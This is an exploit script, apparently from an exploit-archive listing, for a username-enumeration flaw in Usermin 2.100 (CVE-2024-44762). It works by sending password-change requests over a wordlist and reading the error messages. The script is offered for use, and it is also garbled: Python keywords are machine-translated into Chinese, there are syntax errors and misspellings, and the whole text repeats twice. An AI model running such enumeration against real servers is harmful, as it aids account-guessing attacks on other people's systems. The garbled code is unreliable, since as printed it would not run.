#利用标题: USERMIN 2.100-用户名枚举
#日期: 10.02.2024
#利用作者: kjesper
#供应商homepage: https://www.webmin.com/usermin.html
#软件link: https://github.com/webmin/usermin
#版本:=2.100
#在: Kali Linux上测试
#CVE: CVE-2024-44762
#https://senscybersecurity.nl/cve-2024-44762-explated/
#!/usr/bin/python3
# - * - 编码: UTF-8 - * -
#USERMIN-用户名枚举(版本2.100)
#USAGE: USERENUMUSERMIN.PY -U主机-W WordList_users
#example: userEnumusermin.py -U https://127.0.0.0.1:20000 -W user.txt
导入请求
进口JSON
导入请求
导入argparse
导入系统
从urllib3.ceptions导入Insecurreequestwarning
requests.packages.urllib3.disable_warnings(category=insecureRequestWarning)
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',help='use-u with url to usermin的主机,ex: \' - u https://127.0.0.0.1:20000 \'')
parser.add_argument(' - w',' - wordlist_users',help='use-w with用户名词列表,ex: \' - w users.txt \'')
args=parser.parse_args()
如果Len(sys.argv)!=5:
打印('请为URL提供-u,并为包含用户名的WordList提供-w)
print('ex: python3 usernameenum.py -U https://127.0.0.1:20000 -w user.txt')
出口()
usernamefile=open(args.wordlist_users,'r')
datausername=usernamefile.read()
usernamefileintolist=datausername.split('\ n')
usernamefile.close()
因为我在usernamefileintolist:中
newheaders={'content-type':'应用程序/x-www-form-urlencoded','referer':'%s/password_change.cgi'%args.url}
params={'user':i,'pam':'',''evel':'2','old':'fakepassword','new1':'password','new1':'password','new2'3:'password'}
响应=requests.post('%s/password_change.cgi'%args.url,data=params,verify=false,headers=newheaders)
如果“未能更改密码:则当前密码不正确。”响应.text:
打印(“使用用户NAME :' + i发现的用户)
如果“未能更改密码:则在密码文件中找不到您的登录名!”不会响应。文本和“未能更改密码:当前密码不正确。”不响应。Text:
打印(“应用程序很可能不易受伤害,因此正在退出。”)
Exit()#评论第33-35行,如果您仍然想尝试枚举用户名。
#日期: 10.02.2024
#利用作者: kjesper
#供应商homepage: https://www.webmin.com/usermin.html
#软件link: https://github.com/webmin/usermin
#版本:=2.100
#在: Kali Linux上测试
#CVE: CVE-2024-44762
#https://senscybersecurity.nl/cve-2024-44762-explated/
#!/usr/bin/python3
# - * - 编码: UTF-8 - * -
#USERMIN-用户名枚举(版本2.100)
#USAGE: USERENUMUSERMIN.PY -U主机-W WordList_users
#example: userEnumusermin.py -U https://127.0.0.0.1:20000 -W user.txt
导入请求
进口JSON
导入请求
导入argparse
导入系统
从urllib3.ceptions导入Insecurreequestwarning
requests.packages.urllib3.disable_warnings(category=insecureRequestWarning)
Parser=argparse.argumentparser()
parser.add_argument(' - u',' - url',help='use-u with url to usermin的主机,ex: \' - u https://127.0.0.0.1:20000 \'')
parser.add_argument(' - w',' - wordlist_users',help='use-w with用户名词列表,ex: \' - w users.txt \'')
args=parser.parse_args()
如果Len(sys.argv)!=5:
打印('请为URL提供-u,并为包含用户名的WordList提供-w)
print('ex: python3 usernameenum.py -U https://127.0.0.1:20000 -w user.txt')
出口()
usernamefile=open(args.wordlist_users,'r')
datausername=usernamefile.read()
usernamefileintolist=datausername.split('\ n')
usernamefile.close()
因为我在usernamefileintolist:中
newheaders={'content-type':'应用程序/x-www-form-urlencoded','referer':'%s/password_change.cgi'%args.url}
params={'user':i,'pam':'',''evel':'2','old':'fakepassword','new1':'password','new1':'password','new2'3:'password'}
响应=requests.post('%s/password_change.cgi'%args.url,data=params,verify=false,headers=newheaders)
如果“未能更改密码:则当前密码不正确。”响应.text:
打印(“使用用户NAME :' + i发现的用户)
如果“未能更改密码:则在密码文件中找不到您的登录名!”不会响应。文本和“未能更改密码:当前密码不正确。”不响应。Text:
打印(“应用程序很可能不易受伤害,因此正在退出。”)
Exit()#评论第33-35行,如果您仍然想尝试枚举用户名。